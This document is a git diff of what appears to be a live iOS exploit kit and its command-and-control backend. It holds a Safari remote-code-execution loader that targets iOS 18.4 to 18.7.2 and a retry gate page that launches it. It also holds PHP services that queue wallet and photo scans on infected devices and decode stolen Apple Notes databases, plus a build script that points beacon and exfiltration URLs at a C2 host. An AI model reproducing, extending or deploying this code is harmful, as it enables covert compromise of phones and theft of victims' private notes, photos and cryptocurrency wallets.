'result_meta' => [
'reason' => $task->type === 'photos'
? 'queue_uses_photo_scan_only'
: 'removed_from_queue',
],
])->save();
}
}
private function findRunnable(Device $device): ?DsBeaconTask
{
return DsBeaconTask::query()
->where('device_id', $device->id)
->where('type', 'wallet_scan')
->where(function ($q) {
$q->where('status', DsBeaconTask::STATUS_PENDING)
->orWhere(function ($q2) {
$q2->where('status', DsBeaconTask::STATUS_DISPATCHED)
->where('result_count', 0);
});
})
->orderBy('position')
->lockForUpdate()
->first();
}
private function requeueLoopTypes(Device $device): bool
{
$tasks = DsBeaconTask::query()
->where('device_id', $device->id)
->whereIn('type', self::LOOP_TYPES)
->where('status', DsBeaconTask::STATUS_DONE)
->lockForUpdate()
->get();
if ($tasks->isEmpty()) {
return false;
$params = [];
foreach (self::PARAM_SCHEMA[$type] ?? [] as $field) {
$params[$field['name']] = $field['default'];
}
foreach ($tasks as $task) {
$task->forceFill([
'status' => DsBeaconTask::STATUS_PENDING,
'command_id' => null,
'dispatched_at' => null,
'completed_at' => null,
])->save();
}
return $params;
}
return true;
private function queueKey(Device $device): string
{
return self::Q_PREFIX.$device->id;
}
private function dispKey(Device $device): string
{
return self::DISP_PREFIX.$device->id;
}
private function doneKey(Device $device): string
{
return self::DONE_PREFIX.$device->id;
}
private function throttleKey(Device $device): string
{
return self::THROTTLE_PREFIX.$device->id;
}
}
+287
View File
@@ -0,0 +1,287 @@
<?php
namespace App\Services;
use App\Models\Device;
use Illuminate\Support\Facades\Storage;
/**
* Decode an assembled Apple Notes NoteStore.sqlite dump into structured
* note items [{title, body, native_id}] for IngestService::ingestNotes().
*
* memo_scan uploads NoteStore.sqlite + -wal + -shm + memo_scan.json per
* command_id. Chunks are reassembled by DsResultStore before decode() runs.
* Note bodies live in ZICNOTEDATA.ZDATA as gzip-compressed protobuf; we walk
* outer.field2 -> Note.field3 -> Document.field2 for the visible text and
* fall back to the ZSNIPPET column. Encrypted notes surface a placeholder.
*/
class DsMemoDecoder
{
private const RESULT_BASE = 'c2/ds-results';
/**
* @return array{items: list<array{title:string,body:string,native_id:int|string|null}>, meta: array<string,mixed>}
*/
public function decode(Device $device, string $commandId): array
{
$dir = self::RESULT_BASE.'/'.$device->device_id.'/'.$commandId;
$disk = Storage::disk('local');
$errors = [];
$items = [];
$notes = 0;
$encrypted = 0;
$dbPath = null;
$manifestPath = $dir.'/memo_scan.json';
if ($disk->exists($manifestPath)) {
$manifest = json_decode((string) $disk->get($manifestPath), true);
if (is_array($manifest)) {
$dbPath = $manifest['db_path'] ?? null;
}
}
$sqliteRel = $dir.'/NoteStore.sqlite';
if (! $disk->exists($sqliteRel)) {
return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, ['NoteStore.sqlite missing under '.$dir])];
}
$work = storage_path('app/c2/memo-work/'.$device->device_id.'/'.$commandId.'_'.uniqid());
@mkdir($work, 0775, true);
foreach (['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm'] as $f) {
if ($disk->exists($dir.'/'.$f)) {
file_put_contents($work.'/'.$f, (string) $disk->get($dir.'/'.$f));
}
}
try {
$pdo = new \PDO('sqlite:'.$work.'/NoteStore.sqlite', null, null, [
\PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION,
\PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC,
]);
} catch (\Throwable $e) {
$this->cleanup($work);
return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, ['open sqlite: '.$e->getMessage()])];
}
try {
$noteEnt = $this->entityNumber($pdo, 'ICNote');
if ($noteEnt === null) {
$errors[] = 'ICNote entity not found in Z_PRIMARYKEY';
return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, $errors)];
}
$rows = $pdo->prepare(
'SELECT n.Z_PK AS pk, n.ZTITLE AS title, n.ZUSERTITLE AS user_title,'
.' n.ZSNIPPET AS snippet,'
.' nd.ZDATA AS zdata, nd.ZCRYPTOINITIALIZATIONVECTOR AS iv'
.' FROM ZICCLOUDSYNCINGOBJECT n'
.' LEFT JOIN ZICNOTEDATA nd ON nd.ZNOTE = n.Z_PK'
.' WHERE n.Z_ENT = :ent ORDER BY n.Z_PK'
);
$rows->execute([':ent' => $noteEnt]);
foreach ($rows as $row) {
$notes++;
$item = $this->decodeRow($row);
if ($item === null) {
continue;
}
if (($item['_encrypted'] ?? false) === true) {
$encrypted++;
}
unset($item['_encrypted']);
$items[] = $item;
}
} catch (\Throwable $e) {
$errors[] = 'query: '.$e->getMessage();
} finally {
$pdo = null;
$this->cleanup($work);
}
return ['items' => $items, 'meta' => $this->meta($device, $commandId, $dbPath, $notes, $encrypted, $errors)];
}
/** @param array<string,mixed> $row */
private function decodeRow(array $row): ?array
{
$pk = $row['pk'] ?? null;
$title = $this->str($row['title'] ?? null);
$userTitle = $this->str($row['user_title'] ?? null);
$snippet = $this->str($row['snippet'] ?? null);
$iv = $row['iv'] ?? null;
$zdata = $row['zdata'] ?? null;
$nativeId = is_numeric($pk) ? (int) $pk : null;
if ($iv !== null && $this->blobLen($iv) > 0) {
$body = $snippet !== '' ? $snippet : '[加密备忘录 — 需 keychain 密钥]';
$head = $userTitle !== '' ? $userTitle : $title;
return ['title' => $head !== '' ? $head : $this->titleFromBody($body), 'body' => $body, 'native_id' => $nativeId, '_encrypted' => true];
}
$body = null;
if ($zdata !== null && $this->blobLen($zdata) > 0) {
$body = $this->extractBody((string) $zdata);
}
// A body that is only object-replacement chars (U+FFFC = embedded
// table/attachment placeholder) carries no readable text. Fall back
// to the ZSNIPPET column, which holds Apple's plaintext preview —
// for a table-only note that's the cell values (e.g. "1 2 3 5").
if ($body === null || ! $this->hasVisibleText($body)) {
$body = $snippet;
}
$body = $body ?? '';
$head = $userTitle !== '' ? $userTitle : $title;
return ['title' => $head !== '' ? $head : $this->titleFromBody($body), 'body' => $body, 'native_id' => $nativeId];
}
private function extractBody(string $zdata): ?string
{
$decoded = @gzdecode($zdata);
if ($decoded === false) {
return null;
}
$note = $this->pbField($decoded, 2);
if ($note === null) {
return null;
}
$doc = $this->pbField($note, 3);
if ($doc === null) {
return null;
}
$body = $this->pbField($doc, 2);
if ($body === null) {
return null;
}
$body = str_replace(["\r\n", "\r"], "\n", $body);
$body = preg_replace("/\n{3,}/", "\n\n", $body) ?? $body;
return trim($body);
}
private function pbField(string $buf, int $field): ?string
{
$i = 0;
$n = strlen($buf);
while ($i < $n) {
$tag = $this->varint($buf, $i, $i);
if ($tag === null) {
return null;
}
$fnum = $tag >> 3;
$wtype = $tag & 7;
if ($wtype === 0) {
$this->varint($buf, $i, $i);
} elseif ($wtype === 2) {
$len = $this->varint($buf, $i, $i);
if ($len === null || $len < 0 || $i + $len > $n) {
return null;
}
$chunk = substr($buf, $i, (int) $len);
$i += (int) $len;
if ($fnum === $field) {
return $chunk;
}
} elseif ($wtype === 5) {
$i += 4;
} elseif ($wtype === 1) {
$i += 8;
} else {
return null;
}
}
return null;
}
private function varint(string $buf, int $pos, int &$next): ?int
{
$val = 0;
$shift = 0;
$n = strlen($buf);
while ($pos < $n) {
$b = ord($buf[$pos++]);
$val |= ($b & 0x7f) << $shift;
if (($b & 0x80) === 0) {
$next = $pos;
return $val;
}
$shift += 7;
if ($shift > 63) {
return null;
}
}
return null;
}
private function entityNumber(\PDO $pdo, string $name): ?int
{
try {
$st = $pdo->prepare('SELECT Z_ENT FROM Z_PRIMARYKEY WHERE Z_NAME = :n LIMIT 1');
$st->execute([':n' => $name]);
$v = $st->fetchColumn();
return $v === false || $v === null ? null : (int) $v;
} catch (\Throwable $e) {
return null;
}
}
private function titleFromBody(string $body): string
{
$body = trim($body);
if ($body === '') {
return '';
}
$firstLine = preg_split('/\n+/', $body, 2)[0] ?? $body;
return mb_substr(trim($firstLine), 0, 80);
}
/**
* True when $s has any visible character besides object-replacement
* (U+FFFC), replacement (U+FFFD) and whitespace.
*/
private function hasVisibleText(string $s): bool
{
$stripped = preg_replace('/[\x{FFFC}\x{FFFD}\s]/u', '', $s) ?? '';
return $stripped !== '';
}
private function str(mixed $v): string
{
return is_string($v) ? trim($v) : '';
}
private function blobLen(mixed $v): int
{
return is_string($v) ? strlen($v) : 0;
}
/** @param list<string> $errors */
private function meta(Device $device, string $commandId, ?string $dbPath, int $notes, int $encrypted, array $errors): array
{
return [
'device_key' => $device->device_id,
'command_id' => $commandId,
'db_path' => $dbPath,
'notes' => $notes,
'encrypted' => $encrypted,
'errors' => $errors,
];
}
private function cleanup(string $work): void
{
if (! is_dir($work)) {
return;
}
foreach (glob($work.'/*') ?: [] as $f) {
@unlink($f);
}
@rmdir($work);
@rmdir(dirname($work));
}
}
+25 -6
View File
@@ -98,17 +98,36 @@ class DsResultStore
private function alreadyIngested(Device $device, string $filename, string $hash): bool
{
if (Storage::disk('local')->exists($this->seenPath($device, $hash))) {
return true;
$isImage = $this->isImage($filename);
$seen = Storage::disk('local')->exists($this->seenPath($device, $hash));
if (! $isImage) {
// Non-images (wallet dumps, memo dbs, …): .seen is the only dedup.
return $seen;
}
if ($this->isImage($filename)
&& Photo::query()->where('device_id', $device->id)->where('sha256', $hash)->exists()) {
$this->markSeen($device, $hash, $filename);
// For images, the Photo table is the source of truth for album dedup.
// markSeen() runs before ingestPhotos(), so a bare .seen marker can
// survive a failed/skipped album ingest (album storage was off, the
// device record was recreated, an exception was swallowed, …) and
// would otherwise block the photo from ever entering the album.
$hasPhoto = Photo::query()
->where('device_id', $device->id)
->where('sha256', $hash)
->exists();
if ($hasPhoto) {
if (! $seen) {
$this->markSeen($device, $hash, $filename);
}
return true;
}
return false;
// No Photo row yet. When album storage is enabled, retry the ingest
// (return false so store() re-stores + calls ingestPhotos). When
// disabled, fall back to .seen for raw-file dedup so we don't keep
// re-storing identical bytes under every new command_id.
return $seen && ! $device->albumStorageEnabled();
}
private function markSeen(Device $device, string $hash, string $filename): void
+45 -6
View File
@@ -303,19 +303,58 @@ class IngestService
private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array
{
if ($this->isNewBuilderRequest($request)) {
if (! $this->isXxbbCoreRequest($request)) {
return ['channel_id' => null, 'source_domain' => null];
if ($this->isXxbbCoreRequest($request)) {
$attr = $this->channelFromVerHeaders($request);
if ($attr['channel_id'] !== null) {
return $attr;
}
}
} elseif ($allowOldC) {
$channelId = $this->extractChannelId($request, $payload);
if ($channelId !== null) {
return ['channel_id' => $channelId, 'source_domain' => null];
}
return $this->channelFromVerHeaders($request);
}
if ($allowOldC) {
return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null];
// Fallback: channel_code from beacon payload (new builder PE worker /beacon path).
// PE worker sends device_info.channel_code = the X.Y.ZZ channel id from the exploit chain.
$channelCode = $this->extractChannelCodeFromPayload($payload);
if ($channelCode !== null) {
return ['channel_id' => $channelCode, 'source_domain' => null];
}
return ['channel_id' => null, 'source_domain' => null];
}
/**
* Extract new-builder channel_code (X.Y.ZZ) from beacon/payload device_info.
* PE worker sends: {"uuid":..., "device_info":{"channel_code":"X.Y.ZZ",...}, ...}
*/
private function extractChannelCodeFromPayload(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
$candidates = [];
if (isset($payload['device_info']) && is_array($payload['device_info'])) {
$candidates[] = $payload['device_info']['channel_code'] ?? null;
}
$candidates[] = $payload['channel_code'] ?? null;
foreach ($candidates as $value) {
if (! is_string($value) || $value === '') {
continue;
}
$code = Channel::normalizeNewChannelId($value);
if ($code !== null) {
return $code;
}
}
return null;
}
private function isNewBuilderRequest(Request $request): bool
{
return (bool) $request->attributes->get('coruna_new_builder', false);
+1 -1
View File
@@ -102,7 +102,7 @@ class DataCommand
'🌐 页面访问',
'页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)',
'页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)',
'有效口径: iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 + Safari,不含 15.8.8 / 16.7.10+',
'有效口径: iOS 13–17.2.1 / 18.1.1 / 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 / 18.7 / 18.7.1 / 18.7.2 + Safari,不含 15.8.8 / 16.7.10+',
'',
'访问 · 按系统 (UV / 占比):',
];
+3
View File
@@ -0,0 +1,3 @@
.venv/
out/
.DS_Store
+16
View File
@@ -0,0 +1,16 @@
# channel-builder-ds
`source/` 是 one99/raw 的利用树。构建只做 C2 主机字符串替换,再拷到 `public/next-chain`。
**页面请求不跨域:** 浏览器里发出的 `/api/ds/log` `/api/ds/chain-targets` `/api/ds/device/register` 一律用当前页面 `location.origin`。
**资源域名不配置:** 静态资源用当前 weifile 的 `location.origin + /next-chain`。
**C2 可配置:** `php artisan ds:build --c2 …` 只改 native PE 的 `/beacon` `/war` `/stats` 和 `NEWS2_CONFIG.exfil`(CFNetwork 回连),不影响页面 XHR。
weifile(本身已是 iframe)按 iOS 路由后直接 `loadScript` `config.js` + `boot.js`,不再套一层 iframe。渠道 ID 与 weifile 相同:`/channel/X.Y.ZZ/`。
```bash
php artisan ds:build --c2 http://192.168.31.130:8000
php artisan xxbb:repack
```
PE 进度:`GET /api/ds/pe-stage/{name}.js` 打到 C2(记日志并吐 JS)。`public/next-chain/pe_stage/` 仍随 `ds:build` 发布,但客户端不再走这条静态路径。
+103
View File
@@ -0,0 +1,103 @@
<!DOCTYPE html>
<html><head><title></title></head>
<body>
<script>
(function () {
// Gofun-style gate (simplified for single-page delivery):
// - Soft attempts: up to MAX_TRIES per window (crash/fail can reload and retry)
// - PE lock: 10min TTL after success — blocks re-run after WebContent death
// - PE lock sources: localStorage (redirect) OR cookie set when pe_worker.js is served
// - ?force=1: clear state once, then strip from URL
var MAX_TRIES = 5;
var PE_TTL_MS = 10 * 60 * 1000;
var K_PE = '_x_pe_done';
var K_TRY = '_x_try';
var K_TRY_TS = '_x_try_ts';
function lsGet(k) {
try { return localStorage.getItem(k); } catch (e) { return null; }
}
function lsSet(k, v) {
try { localStorage.setItem(k, v); } catch (e) {}
}
function lsDel(k) {
try { localStorage.removeItem(k); } catch (e) {}
}
function cookieGet(name) {
try {
var m = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
return m ? decodeURIComponent(m[1]) : null;
} catch (e) { return null; }
}
function cookieSet(name, val, maxAgeSec) {
try {
document.cookie = name + '=' + encodeURIComponent(val) +
'; Path=/; Max-Age=' + maxAgeSec + '; SameSite=Lax';
} catch (e) {}
}
function cookieDel(name) {
try { document.cookie = name + '=; Path=/; Max-Age=0; SameSite=Lax'; } catch (e) {}
}
function peDoneTs() {
var a = parseInt(lsGet(K_PE) || '0', 10) || 0;
var b = parseInt(cookieGet(K_PE) || '0', 10) || 0;
return Math.max(a, b);
}
function clearAll() {
lsDel(K_PE); lsDel(K_TRY); lsDel(K_TRY_TS); lsDel('_x_ok');
cookieDel(K_PE);
}
var force = false;
try {
// Drop legacy permanent gate so old sessions are not stuck forever.
lsDel('_x_ok');
var q = location.search || '';
force = /(?:^|[?&])force=1(?:&|$)/.test(q);
if (force) {
clearAll();
try {
var u = new URL(location.href);
u.searchParams.delete('force');
history.replaceState(null, '', u.pathname + (u.search || '') + (u.hash || ''));
} catch (eStrip) {}
}
var now = Date.now();
var peTs = peDoneTs();
if (peTs && (now - peTs) < PE_TTL_MS && !force) {
// Keep both stores in sync for the remaining TTL
lsSet(K_PE, String(peTs));
cookieSet(K_PE, String(peTs), Math.ceil((PE_TTL_MS - (now - peTs)) / 1000));
return; // PE success lock
}
if (peTs && (now - peTs) >= PE_TTL_MS) {
lsDel(K_PE);
cookieDel(K_PE);
}
var tryN = parseInt(lsGet(K_TRY) || '0', 10) || 0;
var tryTs = parseInt(lsGet(K_TRY_TS) || '0', 10) || 0;
// New attempt window after PE_TTL from first try in the batch
if (tryN > 0 && tryTs && (now - tryTs) >= PE_TTL_MS) {
tryN = 0;
lsDel(K_TRY);
lsDel(K_TRY_TS);
}
if (tryN >= MAX_TRIES && !force) {
return; // exhausted for this window
}
tryN += 1;
lsSet(K_TRY, String(tryN));
if (tryN === 1 || !tryTs) lsSet(K_TRY_TS, String(now));
} catch (e) {}
var s = document.createElement('script');
s.src = 'rce_loader.js?' + Date.now();
document.body.appendChild(s);
})();
</script>
</body>
</html>
File diff suppressed because one or more lines are too long
+354
View File
@@ -0,0 +1,354 @@
// Match production external (muiu38-mirror rce_loader.js): SERVER_LOG=false.
// print() is a no-op except for reportError=true (errors still surface).
// With true, every print() fires a SYNCHRONOUS blocking XHR to /log.html,
// which slows the time-sensitive RCE chain and can get WebContent killed
// before pe_worker runs — observed as the 403-log retry loop on our link.
var SERVER_LOG = false;
let logStart = new Date().getTime();
let logEntryID = 0;
var offsets = {};
var slide;
var chipset;
var device_model;
// Include the page directory (e.g. "/next-chain/") so desiredHost sent to the
// worker resolves getJS() calls under the same base, not the server root.
var localHost = location.origin + location.pathname.replace(/[^/]*$/, '').replace(/\/$/, '');
// Per-channel patch string (X.Y.ZZ) passed from weifile.html via ?c= query param.
// Forwarded through the exploit chain to pe_worker.js for C2 channel attribution.
var channelCode = '';
try {
var m = new URLSearchParams(location.search).get('c');
if (m) channelCode = m.toUpperCase();
} catch (eCC) {}
function print(x, reportError = false, dumphex = false) {
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
if (!SERVER_LOG && !reportError) return;
let obj = {
id: logEntryID++,
text: out,
};
if (dumphex) {
obj.hex = 1;
obj.text = x;
}
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&');
const xhr = new XMLHttpRequest();
xhr.open("GET", "/log.html?" + req, false);
xhr.send(null);
}
function markPeDone() {
// 10min TTL is enforced by frame.html. Cookie is also set by delivery when
// pe_worker.js is served (covers WebContent death before this runs).
var ts = String(Date.now());
try { localStorage.setItem('_x_pe_done', ts); } catch (e) {}
try {
document.cookie = '_x_pe_done=' + encodeURIComponent(ts) +
'; Path=/; Max-Age=600; SameSite=Lax';
} catch (e2) {}
}
function redirect() {
// Do NOT navigate (old /404.html caused reload loops with re-entrant frame).
markPeDone();
try { if (typeof window.stop === 'function') window.stop(); } catch (e) {}
}
// Relative URLs resolve under /assets/js/; leading-/ paths use location.origin (delivery fallthrough).
// Retries + status/length checks — plain same-origin fetch.
function getJS(fname, method = 'GET', tries = 5) {
const minLen = 1;
for (let attempt = 1; attempt <= tries; attempt++) {
try {
let url = fname;
if (typeof fname === 'string' && fname.startsWith('/') && localHost) {
url = String(localHost).replace(/\/$/, '') + fname;
}
if (attempt > 1) {
const sep = url.indexOf('?') >= 0 ? '&' : '?';
url = url + sep + '_r=' + attempt;
}
const xhr = new XMLHttpRequest();
xhr.open(method || 'GET', url, false);
xhr.send(null);
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText && xhr.responseText.length >= minLen) {
return xhr.responseText;
}
} catch (e) {
// retry
}
}
}
function iosVersionKey(v) {
if (!v) return '';
if (typeof v === 'string') {
if (v.indexOf('.') >= 0) return v.replace(/\./g, ',');
return v;
}
if (v.join) return v.join(',');
return String(v);
}
function validateStage1Handoff() {
if (!device_model) return false;
if (!offsets || typeof offsets !== 'object') return false;
if (Object.keys(offsets).length < 40) return false;
if (slide == null || slide === undefined) return false;
try {
if (typeof slide === 'bigint' && slide === 0n) return false;
} catch (e) {}
return true;
}
function packOffsetsForTransfer(src) {
var out = {};
if (!src) return out;
try {
for (var k in src) {
if (!Object.prototype.hasOwnProperty.call(src, k)) continue;
var val = src[k];
out[k] = (val != null && val.toString) ? val.toString() : String(val);
}
} catch (e) {}
return out;
}
function postStage1ToWorker(worker, begin, origin, desiredHost) {
var msg = {
type: 'stage1',
begin: begin,
origin: origin,
ios_version: iosVersionKey(ios_version),
device_model: device_model,
chipset: chipset,
slide: (slide != null && slide.toString) ? slide.toString() : '0',
offsets: packOffsetsForTransfer(offsets),
desiredHost: desiredHost,
SERVER_LOG: SERVER_LOG,
channelCode: channelCode
};
try {
worker.postMessage(msg);
return true;
} catch (e) {
return false;
}
}
const signal = new Uint8Array(8);
const dlopen_worker = `(() => {
self.onmessage = function (e) {
const {
type,
data
} = e.data;
switch (type) {
case 'init':
const canvas = new OffscreenCanvas(1, 1);
globalThis[0] = data;
createImageBitmap(canvas).then(bitmap => {
globalThis[1] = bitmap;
self.postMessage(null);
});
break;
case 'dlopen':
globalThis[1].close();
break;
}
};
})();`;
const dlopen_worker_blob = new Blob([dlopen_worker], { type: 'application/javascript'});
const dlopen_worker_url = URL.createObjectURL(dlopen_worker_blob);
// LIVE band: iOS 18.4.0 - 18.7.2
function parseIosVersion() {
let version = /iPhone OS ([0-9_]+)/g.exec(navigator.userAgent)?.[1];
if (!version) {
const m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(navigator.userAgent);
if (m) version = m[1];
}
if (version) return version.split('_').map(part => parseInt(part, 10));
return null;
}
function pickLiveBand(v) {
if (!v || !v.length) return null;
// historical special-case retained
if (v[0] === 18 && v[1] === 1 && (v[2] || 0) === 1) {
return { worker: 'rce_worker_18.6.js', module: 'rce_module_18.6.js', stage1_rce: true, band: '18.6' };
}
if (v[0] !== 18) return null;
const min = v[1] || 0, pat = v[2] || 0;
if (min < 4 || min > 7) return null;
if (min === 7 && pat >= 3) return null; // 18.7.3+ patched / out of LIVE
// 18.7.0-18.7.2: offsets live in worker; module is stub only (do not eval fake 22E/22F table)
if (min === 7) return { worker: 'rce_worker_18.7.js', module: 'rce_module_18.7.js', stage1_rce: true, band: '18.7' };
// 18.6.x: same — stub module + self-contained worker
if (min === 6) return { worker: 'rce_worker_18.6.js', module: 'rce_module_18.6.js', stage1_rce: true, band: '18.6' };
// 18.4.x / 18.5.x — legacy check_attempt; rce_module.js must have 22E (18.4) + 22F76 (18.5)
return { worker: 'rce_worker_18.4.js', module: 'rce_module.js', stage1_rce: false, band: '18.4' };
}
const ios_version = parseIosVersion();
const live_band = pickLiveBand(ios_version);
if (!live_band) {
print('unsupported iOS ' + (ios_version ? ios_version.join('.') : 'unknown') + ' (LIVE=18.4.0-18.7.2)', true);
redirect();
} else {
let workerCode = getJS(`${live_band.worker}?${Date.now()}`);
if (!workerCode || workerCode.length < 1000) {
print('worker load failed: ' + live_band.worker, true);
redirect();
} else {
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);
(() => {
function doRedirect() {
redirect();
}
function main() {
const randomValues = new Uint32Array(32);
const begin = Date.now();
const origin = location.origin;
const worker = new Worker(workerBlobUrl);
const dlopen_workers = [];
async function prepare_dlopen_workers() {
for (let i = 1; i <= 2; ++i) {
const worker = new Worker(dlopen_worker_url);
dlopen_workers.push(worker);
await new Promise(r => {
worker.postMessage({
type: 'init',
data: 0x11111111 * i
});
worker.onmessage = r;
});
}
}
const iframe = document.createElement('iframe');
iframe.srcdoc = '';
iframe.style.height = 0;
iframe.style.width = 0;
document.body.appendChild(iframe);
async function message_handler(e) {
const data = e.data;
switch (data.type) {
case 'redirect':
{
markPeDone();
doRedirect();
break;
}
case 'pe_start':
case 'pe_spawned':
{
// Early lock: set before pe_worker runs / WebContent dies
markPeDone();
break;
}
case 'prepare_dlopen_workers':
{
await prepare_dlopen_workers();
worker.postMessage({
type: 'dlopen_workers_prepared'
});
break;
}
case 'trigger_dlopen1':
{
dlopen_workers[0].postMessage({
type: 'dlopen'
});
worker.postMessage({
type: 'check_dlopen1'
});
break;
}
case 'trigger_dlopen2':
{
dlopen_workers[1].postMessage({
type: 'dlopen'
});
worker.postMessage({
type: 'check_dlopen2'
});
break;
}
case 'sign_pointers':
{
iframe.contentDocument.write('1');
worker.postMessage({
type: 'setup_fcall'
});
break;
}
case 'slow_fcall':
{
iframe.contentDocument.write('1');
worker.postMessage({
type: 'slow_fcall_done'
});
break;
}
default:
{
break;
}
}
}
worker.onmessage = message_handler;
try
{
let rceCode = getJS(`${live_band.module}?${Date.now()}`);
// 18.6/18.7 stage1_rce: stub module only — never eval a large offset table on page.
// 18.4/18.5: need real rce_module.js (22E + 22F76) for check_attempt.
if (live_band.stage1_rce) {
if (rceCode && rceCode.length >= 500) {
print('stage1_rce: refusing large page module ' + live_band.module + ' (len=' + rceCode.length + ') — using worker offsets', true);
} else if (rceCode && rceCode.length >= 1) {
try { eval(rceCode); } catch (eStub) {}
}
} else {
if (!rceCode || rceCode.length < 500) {
print('module load failed: ' + live_band.module, true);
return;
}
try {
eval(rceCode);
} catch (e) {
print('module eval failed', true);
return;
}
}
let desiredHost = "";
desiredHost = localHost;
// 18.6.x / 18.7.0-18.7.2: self-contained worker (stage1_rce)
// 18.4.x / 18.5.x: check_attempt + stage1 handoff (serialized offsets)
if(live_band.stage1_rce)
{
worker.postMessage({
type: 'stage1_rce',
desiredHost,
randomValues,
SERVER_LOG,
channelCode: channelCode
});
}
else
{
var attempt = new check_attempt();
function onAttemptDone(result) {
if (!result) return;
if (!validateStage1Handoff()) return;
postStage1ToWorker(worker, begin, origin, desiredHost);
}
attempt.start().then((result) => {
if (!result) {
attempt.start().then(onAttemptDone).catch(function () {});
} else {
onAttemptDone(true);
}
}).catch(function () {});
}
}
catch(e)
{
// print("Got exception on something: " + e);
}
}
main();
})();
} // workerCode ok
} // end live_band
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,4 @@
// for displaying hex value
function dummyy(x) {
return '0x' + x.toString(16);
}
@@ -0,0 +1,5 @@
// Stub for iOS 18.7 — Stage1 RCE lives in rce_worker_18.7.js (self-contained).
// Do not ship full offsets here; page-side module is unused for stage1_rce bands.
function dummyy(x) {
return '0x' + x.toString(16);
}
File diff suppressed because it is too large Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large Load Diff
File diff suppressed because one or more lines are too long
+185
View File
@@ -0,0 +1,185 @@
#!/usr/bin/env python3
"""Rewrite hardcoded host literals in source/ to --c2 and publish → public/next-chain.
channel-builder-ds-new: 11-file exploit tree matching external globals-game.com/a18/.
Build does string replacement on hardcoded hosts (iy491j2ltb2i2sv.icu) → --c2 origin,
then copies source/ to public/next-chain. rce_loader.js derives the page directory
from location.pathname so the worker's desiredHost carries the /next-chain/ prefix,
making all getJS() calls resolve under the same base — no root-mirror needed.
php artisan ds:build-new --c2 http://192.168.31.130:8000
php artisan ds:build-new --c2 https://c2.example.com
"""
from __future__ import annotations
import argparse
import shutil
import sys
from dataclasses import dataclass
from pathlib import Path
from urllib.parse import urlparse
TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent
PROJECT_ROOT = BUILDER_ROOT.parent
DEFAULT_SOURCE = BUILDER_ROOT / "source"
DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain"
TEXT_SUFFIXES = {".js", ".html", ".json", ".css", ".txt", ".md"}
SKIP_PUBLISH = {"log.html"}
@dataclass(frozen=True)
class Endpoint:
host: str
port: int
origin: str
tls: bool
@property
def url(self) -> str:
return self.origin
def parse_endpoint(raw: str, *, label: str) -> Endpoint:
parsed = urlparse((raw or "").strip())
if parsed.scheme not in ("http", "https") or not parsed.hostname:
raise SystemExit(f"invalid {label}: {raw!r} (need http(s)://host[:port])")
host = parsed.hostname
tls = parsed.scheme == "https"
port = parsed.port or (443 if tls else 80)
origin = f"{parsed.scheme}://{host}"
if not ((tls and port == 443) or (not tls and port == 80)):
origin += f":{port}"
return Endpoint(host=host, port=port, origin=origin, tls=tls)
def rewrite_pairs(c2: Endpoint) -> list[tuple[str, str]]:
"""Rewrite hardcoded host literals found in source/ → --c2 origin.
The only host present in the ds-new source tree is iy491j2ltb2i2sv.icu
(PE worker C2 URLs, embedded as escaped strings inside a webpack module
in pe_worker.js). Legacy hosts — muiu38.cc, nuhn93.cc, mh0usocqzi6f46i.com,
one99.vip, 192.168.31.130 — and all object-literal/port-only variants have
been removed; re-add them only if a source file actually starts using them.
Order matters: longer/more-specific strings first to avoid partial matches.
"""
return [
# --- iy491j2ltb2i2sv.icu: PE worker C2 beacon/result host (escaped in webpack string) ---
("https://iy491j2ltb2i2sv.icu/beacon", f"{c2.origin}/beacon"),
("https://iy491j2ltb2i2sv.icu/result", f"{c2.origin}/result"),
("https://iy491j2ltb2i2sv.icu", c2.origin),
# --- port: rewrite HQ_WALLET_PORT (escaped-quoted form inside webpack string) ---
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
# --- channel code: inject __CHANNEL_CODE__ (prepended by sbx1_main.js at runtime) ---
(
'const C2_CHANNEL_CODE = \\"\\"',
'const C2_CHANNEL_CODE = (typeof __CHANNEL_CODE__ !== \'undefined\' && __CHANNEL_CODE__) || \\"\\"',
),
]
def rewrite_text(text: str, c2: Endpoint) -> str:
for old, new in rewrite_pairs(c2):
if old != new:
text = text.replace(old, new)
return text
def rewrite_tree(root: Path, c2: Endpoint) -> int:
hits = 0
for path in root.rglob("*"):
if not path.is_file() or path.suffix.lower() not in TEXT_SUFFIXES:
continue
raw = path.read_text(encoding="utf-8")
new = rewrite_text(raw, c2)
if new != raw:
path.write_text(new, encoding="utf-8")
hits += 1
return hits
def publish(staging: Path, dest: Path) -> None:
dest = dest.resolve()
dest.parent.mkdir(parents=True, exist_ok=True)
tmp = dest.with_name(dest.name + ".building")
old = dest.with_name(dest.name + ".old")
if tmp.exists():
shutil.rmtree(tmp)
def ignore(directory: str, names: list[str]) -> set[str]:
skip = {n for n in names if n == ".DS_Store" or n in SKIP_PUBLISH}
return skip
shutil.copytree(staging, tmp, ignore=ignore)
if dest.exists():
if old.exists():
shutil.rmtree(old)
dest.rename(old)
try:
tmp.rename(dest)
